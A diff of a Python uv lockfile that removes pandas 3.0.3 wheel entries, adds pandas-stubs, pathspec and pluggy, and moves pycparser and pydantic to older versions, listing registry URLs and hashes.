- { url = "https://files.pythonhosted.org/packages/32/f1/bbecd2f867b97abebe0f9b53d750f862251b40337e061b36676ded3d920f/pandas-3.0.3-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a1e45c80cceb3b4a21bc5939d52e8cbd8d9b7305309219d59e9754d9ce09e27", size = 11274611, upload-time = "2026-05-11T18:52:22.622Z" },
- { url = "https://files.pythonhosted.org/packages/7f/4f/eafabf2d5fae5adf143b4d18d3706c5efdc368a7c4eb1ee8a3eddabbd0f6/pandas-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:14da8316da4d0c5a77618425996bfb1248ca87fc2c1486e6fde4652bd18b5824", size = 11784670, upload-time = "2026-05-11T18:52:25.4Z" },
- { url = "https://files.pythonhosted.org/packages/49/44/1eb20389301b57b19cc099a1c2f662501f72f08a65f912d05822613c1532/pandas-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a55066a0505dae0ba2b50a46637db34b46f9094c65c5d4800794ef6335010938", size = 12353708, upload-time = "2026-05-11T18:52:28.139Z" },
- { url = "https://files.pythonhosted.org/packages/eb/62/c321f13b5ba1819fc8dca456c7fce578da2dcfecff1abbf0eaddf8406c0f/pandas-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:6674ab18ad8c57802867264b00e15e7bb904700cdd9046e3b2fa1fce237439ea", size = 9907609, upload-time = "2026-05-11T18:52:30.982Z" },
- { url = "https://files.pythonhosted.org/packages/53/85/1b7f563ebc6357c27233a02a96b589bcce1fa9c6eb89fb4f0e56421d277e/pandas-3.0.3-cp311-cp311-win_arm64.whl", hash = "sha256:5cc09a68b3120e0f54870dede8287a7bb1fa463907e4fcec1ea77cab6179bf7a", size = 9165596, upload-time = "2026-05-11T18:52:33.334Z" },
- { url = "https://files.pythonhosted.org/packages/24/f1/392f8c5bfc16f66a0d2d41561c01627c228fe7ed2a0d056ef11315042570/pandas-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:fed2ff7fd9779120e388e285fc029bd5cf9490cdd2e4166a9ee22c0e49a9ab09", size = 10357846, upload-time = "2026-05-11T18:52:36.143Z" },
- { url = "https://files.pythonhosted.org/packages/cf/3d/b16412745651e855f357e5e66930248688378853a6e2698a214e331fba1f/pandas-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b168fc218fd80a6cbdbdbc1a97ddc7889ed057d7eb45f50d866ceab5f39904c4", size = 9899550, upload-time = "2026-05-11T18:52:38.976Z" },
- { url = "https://files.pythonhosted.org/packages/31/a8/fa2535168fffcedf67f4f6de28d2dd903a747ca7c8ea6989451aaeb3a92f/pandas-3.0.3-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0383c72c75cdcca61a9e116e611143902dbfd08bff356829c2f6d1cf40a9ca8c", size = 10412965, upload-time = "2026-05-11T18:52:41.915Z" },
- { url = "https://files.pythonhosted.org/packages/65/b6/09b01cdbc15224e2850365192d17b7bdebb8bdbd8780ed221fcdf0d9a515/pandas-3.0.3-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6dc0b3fd2169c9157deed50b4d519553a3655c8c6a96027136d654592be973a9", size = 10894600, upload-time = "2026-05-11T18:52:45.02Z" },
- { url = "https://files.pythonhosted.org/packages/c9/a4/2eb28f2fccb4ced4a2c79ab2a5dee9ade1ebf44922ebad6fea158c9f95d4/pandas-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:7e65d5407dc0b394f509699650e4a2ec01c0514f21850f453fa60f3be79a5dbf", size = 11422824, upload-time = "2026-05-11T18:52:48.058Z" },
- { url = "https://files.pythonhosted.org/packages/f8/45/830bb57f533a4604b355e07edcb8ea18cf88b5f94e5fca92f27052d7c597/pandas-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:f8894dc474d648fe7b6ff0ca9b0bd73950d19952bc1a6534540762c5d79d305c", size = 11950889, upload-time = "2026-05-11T18:52:50.905Z" },
- { url = "https://files.pythonhosted.org/packages/b9/c5/fc1b368f303087d20e8c9bf3d6ceb186263cfac0ade735cd938538bea839/pandas-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:c7be265b62cef88e253a941e4698604973736dcfe242fdb5198f0f7bc473cdcc", size = 9755463, upload-time = "2026-05-11T18:52:53.386Z" },
- { url = "https://files.pythonhosted.org/packages/86/bd/fda8f9705b1b09c6ebe14bfc0fa0e4ec8584d54ea673628f157ff55131af/pandas-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:557409bc4178e70ee8d9ddb494798e51ebf6ea59330f6be22c51bab2a7db6c49", size = 9066158, upload-time = "2026-05-11T18:52:56.038Z" },
- { url = "https://files.pythonhosted.org/packages/c5/90/62d8302883c44308c477e222c3daf7c813a34c8e96985882fbd53d964352/pandas-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:67b3b64c11910cfa29f4e94a14d3bff9ee693b6fc76055e7cad549cee0aec5fa", size = 10331071, upload-time = "2026-05-11T18:52:58.838Z" },
- { url = "https://files.pythonhosted.org/packages/7f/ae/6a6493c783a101f165e4356953ba3c74d6f77f0042fa7d753da9dfbb640c/pandas-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:39436b377d56d2a2e52d0395bdbee171f01068e99af5250509aceeb929f765c7", size = 9875690, upload-time = "2026-05-11T18:53:01.431Z" },
- { url = "https://files.pythonhosted.org/packages/62/7c/5df8e9f56c69a2769fbe9382a5ef8f2658c007e376434e1e2cbb57ad895f/pandas-3.0.3-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d4be06d68f9ddcfc645b87534911da79a8fbffc7573c80e0edcf42a5020624d8", size = 10381634, upload-time = "2026-05-11T18:53:04.393Z" },
- { url = "https://files.pythonhosted.org/packages/99/68/1237369725aa617bb358263d535803e3053fdbc593513ec5ed9c9896b5b6/pandas-3.0.3-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a4eeb6830daf35a71cc09649bd823e2b542dac246cdee9614c6e4bd65028cd6a", size = 10891243, upload-time = "2026-05-11T18:53:07.643Z" },
- { url = "https://files.pythonhosted.org/packages/25/93/77d108e8af7222b4a503ebde0e30215b1c2e4f8e53a526431890f22d5586/pandas-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1928e07221f82db493cd4af1e23c1bfca524a19a4699887975bff68f49a72bfb", size = 11388659, upload-time = "2026-05-11T18:53:10.634Z" },
- { url = "https://files.pythonhosted.org/packages/d0/bd/eff5b4399f332ac386c853f6cd2bd3fa2ca0061b9f36ecd9c4d7c4265649/pandas-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51b1fe551acb77dac643c6fda86084d8d446c10fe64b06a9cc29c4cc8540e7f2", size = 11942880, upload-time = "2026-05-11T18:53:13.536Z" },
- { url = "https://files.pythonhosted.org/packages/2c/20/559ace4200982c3887d0b86bfd0d856a2143ef8ddab63cc07934951a964c/pandas-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:a82d532a3351d435432cd913edbccaf8b8e01d4dd0e5ced5a8d2e8ecd94c7e44", size = 9757091, upload-time = "2026-05-11T18:53:16.306Z" },
- { url = "https://files.pythonhosted.org/packages/3a/66/69055a09fe200f29f922a3eeec4804611900b95f52d932ece3393c3c0c19/pandas-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:275c14e0fce14a2ec20eee474aecd305478ea3c1e6f6a9d8fe219a165542717e", size = 9057282, upload-time = "2026-05-11T18:53:18.768Z" },
- { url = "https://files.pythonhosted.org/packages/57/0e/efe801b0e6811e8e650cd21b7f2608e30f08a7067e2bf6e8752b0d56ee3c/pandas-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:46997386d528eb40376ecd6b033cf4a8a1e5282580f68f43de875b78cba2199d", size = 10767016, upload-time = "2026-05-11T18:53:21.227Z" },
- { url = "https://files.pythonhosted.org/packages/ea/dc/eb55135a1d5f0f0519f28da1f609a206d2cad1f9c35c32d51e38dd7261ae/pandas-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:261e308dfb22448384b7580cf719d2f998fe2966c92893c3e77d14008af1f066", size = 10420210, upload-time = "2026-05-11T18:53:23.982Z" },
- { url = "https://files.pythonhosted.org/packages/c6/3e/b1d5d955ce33ffecb407465a60bc32769d74fcf68224b7ae67ae11d4dea4/pandas-3.0.3-cp313-cp313t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dd1a5d1def6a46002e964510bdc67c368aa0951df5d1d9f8365336f5a1f490cd", size = 10336126, upload-time = "2026-05-11T18:53:26.731Z" },
- { url = "https://files.pythonhosted.org/packages/f5/76/a01261711ab60a22d71b862f0de20e4c504bf80457270ad8cb42110f6abc/pandas-3.0.3-cp313-cp313t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d72828c20c6d6e83e1e22a6a3b47b326b71664112fa9705dcbccfd7a39b62085", size = 10728051, upload-time = "2026-05-11T18:53:29.125Z" },
- { url = "https://files.pythonhosted.org/packages/e9/21/ea191195e587b18cf682e97f433f81b2d0fbe341380e80a3e0d6e4403c8e/pandas-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:d26cbe1fcfc12e8fd900e2454163e466b2d3af84f7c75481df7683ffc073d870", size = 11350796, upload-time = "2026-05-11T18:53:32.056Z" },
- { url = "https://files.pythonhosted.org/packages/64/69/f0eaaf54939f0e8c6768fd06be9af2cef9b36048b96dfb9e1b2c685a807e/pandas-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:3e91cec1879ada0624fc3dc9953c5cbd60208e59c0db28f540c5d6d47502422f", size = 11799741, upload-time = "2026-05-11T18:53:34.985Z" },
- { url = "https://files.pythonhosted.org/packages/45/a4/865e0e510cae5fc2194de4db28be638952de942571ba9125934fd9c01d47/pandas-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:08d789b41f87e0905880e293cedf6197ce71fe67cc081358b1e148a491b9bd13", size = 10499958, upload-time = "2026-05-11T18:53:37.857Z" },
- { url = "https://files.pythonhosted.org/packages/86/54/effdcc3c0ff7a08037889200e148ebe94c16c4f653be078c7b3675955df1/pandas-3.0.3-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:3650109c0f22879df8bd6179ab9ee3d7f1d1d4e7e0094a3f0032d9f51e2e64ac", size = 10336065, upload-time = "2026-05-11T18:53:41.099Z" },
- { url = "https://files.pythonhosted.org/packages/68/10/bf2d6738d72748b961a3751ab89522d58c54efc36a8e1a12161216cd45cf/pandas-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:bab900348131a7db1f69a7309ef141fd5680f1487094193bcbbb61791573bf8f", size = 9926101, upload-time = "2026-05-11T18:53:43.515Z" },
- { url = "https://files.pythonhosted.org/packages/ae/e9/e35cf11c8a136e757b956f5f0efdcaa50aecde85ea055f1898dfc68262f3/pandas-3.0.3-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ba7e08b9ac1d54569cd1e256e3668975ed624d6826f7b68df0342b012007bddb", size = 10457553, upload-time = "2026-05-11T18:53:46.394Z" },
- { url = "https://files.pythonhosted.org/packages/58/3b/1cdec6772bdbaf7b25dab360c59f03cadf05492dd724c6540af905389b07/pandas-3.0.3-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d71c63ae4ebdbf70209742096f1fc46a83a0613c99d4b23766cced9ff8cd62a", size = 10914065, upload-time = "2026-05-11T18:53:49.134Z" },
- { url = "https://files.pythonhosted.org/packages/c4/c2/1ef644445fcd72e3627bceec77e3560636f87ddce4ed841afe76b83b5bf9/pandas-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e3a2ec42c98ffa2565a67e08e218d06d72576d758d90facb7c00805194d8f360", size = 11459188, upload-time = "2026-05-11T18:53:52.527Z" },
- { url = "https://files.pythonhosted.org/packages/7e/49/4d8d4f42cbc9c4adc7a1870f269c02cbd6cd40d059622c06fb298addcbad/pandas-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:335f62418ed562cfc3c49e9e196375c28b729dcef8543abf4f9438e381bf3c76", size = 11982966, upload-time = "2026-05-11T18:53:55.043Z" },
- { url = "https://files.pythonhosted.org/packages/38/55/792619469bab9882d8bbd5865d45a72f6478762d04a9af4bf0d08c503e95/pandas-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:3c20a521bbb85902f79f7270c80a59e1b5452d96d170c034f207181870f97ac5", size = 9876755, upload-time = "2026-05-11T18:53:58.067Z" },
- { url = "https://files.pythonhosted.org/packages/2a/af/33c469653b0ba03b50c3a98192d4c07f0c75c66b263ceb097fce0ee97d31/pandas-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:a2d2dff8a04f3917b55ab3910c32990f8ddf7eceba114947838cefa976a68977", size = 9198658, upload-time = "2026-05-11T18:54:00.733Z" },
- { url = "https://files.pythonhosted.org/packages/a2/fa/b8c257bd76b8bd060c3a9151c1fca05e9b9c5e3af5d0f549c0356f6d143d/pandas-3.0.3-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:0d589105b3c14645af1738ff279b2995102d8f7a03b0a66dc8d95550eb513e04", size = 10787242, upload-time = "2026-05-11T18:54:03.564Z" },
- { url = "https://files.pythonhosted.org/packages/54/eb/f19206ffb0bf1919002969aa448b4702c6594845156a6f8050674855aac3/pandas-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:13fc1e853d9e04743d11ba75a985ccbc2a317fe07d8af61e445a6fd24dacd6a6", size = 10436369, upload-time = "2026-05-11T18:54:06.311Z" },
- { url = "https://files.pythonhosted.org/packages/fd/24/c7c39fb4fe22b71a0c2d78bf0c585c600092d85f94f086d2b3b2f6ca27e2/pandas-3.0.3-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:819959dab7bbd0049c15623fbac4e29a191b9528160a61fb1032242d8ced2d9c", size = 10358306, upload-time = "2026-05-11T18:54:09.085Z" },
- { url = "https://files.pythonhosted.org/packages/16/ec/dd2a9eb7fa1204df88c0864164e35b228ac581062ac612ba0a67fd812e4c/pandas-3.0.3-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:60ae316d3fd75d1858d450d0db0103ea2be3e7d4a95ec2f064f7e2ae63f7b028", size = 10758394, upload-time = "2026-05-11T18:54:11.956Z" },
- { url = "https://files.pythonhosted.org/packages/95/6e/00c61ea8e85b4f6d8d35e11852a1a4998fc7fafc91c6a602d1cc9c972d64/pandas-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:bd3a518890b400d32f9023722dc9a9a5c969f00b415419a3c06c043f09bb5d7d", size = 11375717, upload-time = "2026-05-11T18:54:14.539Z" },
- { url = "https://files.pythonhosted.org/packages/31/89/8fc1c268969fac43688d65fd92e67df24bd128d53cb4d2eee534cd307399/pandas-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9c39be2d709d01fa972a0cabc522389fceca4f3969332ba25a7d6c5802cf976a", size = 11828897, upload-time = "2026-05-11T18:54:17.146Z" },
- { url = "https://files.pythonhosted.org/packages/56/3b/e7d20dea247a3e6dc0bd8a6953854afbedc03951def4e7371e05e7263e25/pandas-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4db8c527972a821cf5286b40ccc57642a39bc62e62022b42f99f8a67fca8c3a1", size = 10900855, upload-time = "2026-05-11T18:54:19.72Z" },
- { url = "https://files.pythonhosted.org/packages/0f/54/68a0978d1ef8502b8492099beaa6e7a0c1b32e3b5d4f677f5810cb08711c/pandas-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:b2c95f8bfc1ee412bf482605d7bfd30c12d1d26bd59fdd91efeef1d4718decb1", size = 9466464, upload-time = "2026-05-11T18:54:22.754Z" },
+ { name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "types-pytz" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/1f/df/0da95bc75c76f1e012e0bc0b76da31faaf4254e94b9870f25e6311145e98/pandas_stubs-2.2.2.240807.tar.gz", hash = "sha256:64a559725a57a449f46225fbafc422520b7410bff9252b661a225b5559192a93", size = 103095, upload-time = "2024-08-07T12:30:54.538Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/0a/f9/22c91632ea1b4c6165952f677bf9ad95f9ac36ffd7ef3e6450144e6d8b1a/pandas_stubs-2.2.2.240807-py3-none-any.whl", hash = "sha256:893919ad82be4275f0d07bb47a95d08bae580d3fdea308a7acfcb3f02e76186e", size = 157069, upload-time = "2024-08-07T12:30:51.868Z" },
+]
+
+[[package]]
+name = "pathspec"
+version = "1.1.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/5a/82/42f767fc1c1143d6fd36efb827202a2d997a375e160a71eb2888a925aac1/pathspec-1.1.1.tar.gz", hash = "sha256:17db5ecd524104a120e173814c90367a96a98d07c45b2e10c2f3919fff91bf5a", size = 135180, upload-time = "2026-04-27T01:46:08.907Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/f1/d9/7fb5aa316bc299258e68c73ba3bddbc499654a07f151cba08f6153988714/pathspec-1.1.1-py3-none-any.whl", hash = "sha256:a00ce642f577bf7f473932318056212bc4f8bfdf53128c78bbd5af0b9b20b189", size = 57328, upload-time = "2026-04-27T01:46:07.06Z" },
+]
+
+[[package]]
+name = "pluggy"
+version = "1.6.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" },
]
[[package]]
@@ -1217,142 +1715,286 @@ wheels = [
[[package]]
name = "pycparser"
-version = "3.0"
+version = "2.23"
source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29", size = 103492, upload-time = "2026-01-21T14:26:51.89Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/fe/cf/d2d3b9f5699fb1e4615c8e32ff220203e43b248e1dfcc6736ad9057731ca/pycparser-2.23.tar.gz", hash = "sha256:78816d4f24add8f10a06d6f05b4d424ad9e96cfebf68a4ddc99c65c0720d00c2", size = 173734, upload-time = "2025-09-09T13:23:47.91Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" },
+ { url = "https://files.pythonhosted.org/packages/a0/e3/59cd50310fc9b59512193629e1984c1f95e5c8ae6e5d8c69532ccc65a7fe/pycparser-2.23-py3-none-any.whl", hash = "sha256:e5c6e8d3fbad53479cab09ac03729e0a9faf2bee3db8208a550daf5af81a5934", size = 118140, upload-time = "2025-09-09T13:23:46.651Z" },
]
[[package]]
name = "pydantic"
-version = "2.13.4"
+version = "1.10.26"
source = { registry = "https://pypi.org/simple" }
+resolution-markers = [
+ "python_full_version >= '3.14' and sys_platform == 'win32'",
+ "python_full_version >= '3.14' and sys_platform == 'emscripten'",
+ "python_full_version >= '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'win32'",
+ "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'",
+ "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version == '3.11.*' and sys_platform == 'win32'",
+ "python_full_version == '3.11.*' and sys_platform == 'emscripten'",
+ "python_full_version == '3.11.*' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version < '3.11'",
+]
dependencies = [
- { name = "annotated-types" },
- { name = "pydantic-core" },
- { name = "typing-extensions" },
- { name = "typing-inspection" },
+ { name = "typing-extensions", marker = "extra == 'group-6-openai-pydantic-v1'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/7b/da/fd89f987a376c807cd81ea0eff4589aade783bbb702637b4734ef2c743a2/pydantic-1.10.26.tar.gz", hash = "sha256:8c6aa39b494c5af092e690127c283d84f363ac36017106a9e66cb33a22ac412e", size = 357906, upload-time = "2025-12-18T15:47:46.557Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/71/08/2587a6d4314e7539eec84acd062cb7b037638edb57a0335d20e4c5b8878c/pydantic-1.10.26-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f7ae36fa0ecef8d39884120f212e16c06bb096a38f523421278e2f39c1784546", size = 2444588, upload-time = "2025-12-18T15:46:28.882Z" },
+ { url = "https://files.pythonhosted.org/packages/47/e6/10df5f08c105bcbb4adbee7d1108ff4b347702b110fed058f6a03f1c6b73/pydantic-1.10.26-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d95a76cf503f0f72ed7812a91de948440b2bf564269975738a4751e4fadeb572", size = 2255972, upload-time = "2025-12-18T15:46:31.72Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/7d/fdb961e7adc2c31f394feba6f560ef2c74c446f0285e2c2eb87d2b7206c7/pydantic-1.10.26-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a943ce8e00ad708ed06a1d9df5b4fd28f5635a003b82a4908ece6f24c0b18464", size = 2857175, upload-time = "2025-12-18T15:46:34Z" },
+ { url = "https://files.pythonhosted.org/packages/8f/6c/f21e27dda475d4c562bd01b5874284dd3180f336c1e669413b743ca8b278/pydantic-1.10.26-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:465ad8edb29b15c10b779b16431fe8e77c380098badf6db367b7a1d3e572cf53", size = 2947001, upload-time = "2025-12-18T15:46:35.922Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/f6/27ea206232cbb6ec24dc4e4e8888a9a734f96a1eaf13504be4b30ef26aa7/pydantic-1.10.26-cp310-cp310-win_amd64.whl", hash = "sha256:80e6be6272839c8a7641d26ad569ab77772809dd78f91d0068dc0fc97f071945", size = 2066217, upload-time = "2025-12-18T15:46:37.614Z" },
+ { url = "https://files.pythonhosted.org/packages/1d/c1/d521e64c8130e1ad9d22c270bed3fabcc0940c9539b076b639c88fd32a8d/pydantic-1.10.26-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:116233e53889bcc536f617e38c1b8337d7fa9c280f0fd7a4045947515a785637", size = 2428347, upload-time = "2025-12-18T15:46:39.41Z" },
+ { url = "https://files.pythonhosted.org/packages/2c/08/f4b804a00c16e3ea994cb640a7c25c579b4f1fa674cde6a19fa0dfb0ae4f/pydantic-1.10.26-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c3cfdd361addb6eb64ccd26ac356ad6514cee06a61ab26b27e16b5ed53108f77", size = 2212605, upload-time = "2025-12-18T15:46:41.006Z" },
+ { url = "https://files.pythonhosted.org/packages/5d/78/0df4b9efef29bbc5e39f247fcba99060d15946b4463d82a5589cf7923d71/pydantic-1.10.26-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0e4451951a9a93bf9a90576f3e25240b47ee49ab5236adccb8eff6ac943adf0f", size = 2753560, upload-time = "2025-12-18T15:46:43.215Z" },
+ { url = "https://files.pythonhosted.org/packages/68/66/6ab6c1d3a116d05d2508fce64f96e35242938fac07544d611e11d0d363a0/pydantic-1.10.26-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:9858ed44c6bea5f29ffe95308db9e62060791c877766c67dd5f55d072c8612b5", size = 2859235, upload-time = "2025-12-18T15:46:45.112Z" },
+ { url = "https://files.pythonhosted.org/packages/61/4e/f1676bb0fcdf6ed2ce4670d7d1fc1d6c3a06d84497644acfbe02649503f1/pydantic-1.10.26-cp311-cp311-win_amd64.whl", hash = "sha256:ac1089f723e2106ebde434377d31239e00870a7563245072968e5af5cc4d33df", size = 2066646, upload-time = "2025-12-18T15:46:46.816Z" },
+ { url = "https://files.pythonhosted.org/packages/02/6c/cd97a5a776c4515e6ee2ae81c2f2c5be51376dda6c31f965d7746ce0019f/pydantic-1.10.26-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:468d5b9cacfcaadc76ed0a4645354ab6f263ec01a63fb6d05630ea1df6ae453f", size = 2433795, upload-time = "2025-12-18T15:46:49.321Z" },
+ { url = "https://files.pythonhosted.org/packages/47/12/de20affa30dcef728fcf9cc98e13ff4438c7a630de8d2f90eb38eba0891c/pydantic-1.10.26-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:2c1b0b914be31671000ca25cf7ea17fcaaa68cfeadf6924529c5c5aa24b7ab1f", size = 2227387, upload-time = "2025-12-18T15:46:50.877Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/1d/9d65dcc5b8c17ba590f1f9f486e9306346831902318b7ee93f63516f4003/pydantic-1.10.26-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:15b13b9f8ba8867095769e1156e0d7fbafa1f65b898dd40fd1c02e34430973cb", size = 2629594, upload-time = "2025-12-18T15:46:53.42Z" },
+ { url = "https://files.pythonhosted.org/packages/3f/76/acb41409356789e23e1a7ef58f93821410c96409183ce314ddb58d97f23e/pydantic-1.10.26-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad7025ca324ae263d4313998e25078dcaec5f9ed0392c06dedb57e053cc8086b", size = 2745305, upload-time = "2025-12-18T15:46:55.987Z" },
+ { url = "https://files.pythonhosted.org/packages/22/72/a98c0c5e527a66057d969fedd61675223c7975ade61acebbca9f1abd6dc0/pydantic-1.10.26-cp312-cp312-win_amd64.whl", hash = "sha256:4482b299874dabb88a6c3759e3d85c6557c407c3b586891f7d808d8a38b66b9c", size = 1937647, upload-time = "2025-12-18T15:46:57.905Z" },
+ { url = "https://files.pythonhosted.org/packages/28/b9/17a5a5a421c23ac27486b977724a42c9d5f8b7f0f4aab054251066223900/pydantic-1.10.26-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:1ae7913bb40a96c87e3d3f6fe4e918ef53bf181583de4e71824360a9b11aef1c", size = 2494599, upload-time = "2025-12-18T15:47:00.209Z" },
+ { url = "https://files.pythonhosted.org/packages/e6/8e/6e3bd4241076cf227b443d7577245dd5d181ecf40b3182fcb908bc8c197d/pydantic-1.10.26-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:8154c13f58d4de5d3a856bb6c909c7370f41fb876a5952a503af6b975265f4ba", size = 2254391, upload-time = "2025-12-18T15:47:02.268Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/30/a1c4092eda2145ecbead6c92db489b223e101e1ba0da82576d0cf73dd422/pydantic-1.10.26-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f8af0507bf6118b054a9765fb2e402f18a8b70c964f420d95b525eb711122d62", size = 2609445, upload-time = "2025-12-18T15:47:04.909Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/2a/0491f1729ee4b7b6bc859ec22f69752f0c09bee1b66ac6f5f701136f34c3/pydantic-1.10.26-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dcb5a7318fb43189fde6af6f21ac7149c4bcbcfffc54bc87b5becddc46084847", size = 2732124, upload-time = "2025-12-18T15:47:07.464Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/56/b59f3b2f84e1df2b04ae768a1bb04d9f0288ff71b67cdcbb07683757b2c0/pydantic-1.10.26-cp313-cp313-win_amd64.whl", hash = "sha256:71cde228bc0600cf8619f0ee62db050d1880dcc477eba0e90b23011b4ee0f314", size = 1939888, upload-time = "2025-12-18T15:47:09.618Z" },
+ { url = "https://files.pythonhosted.org/packages/d2/8b/0c3dc02d4b97790b0f199bf933f677c14e7be4a8d21307c5f2daae06aa41/pydantic-1.10.26-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:6b40730cc81d53d515dc0b8bb5c9b43fadb9bed46de4a3c03bd95e8571616dba", size = 2502689, upload-time = "2025-12-18T15:47:12.308Z" },
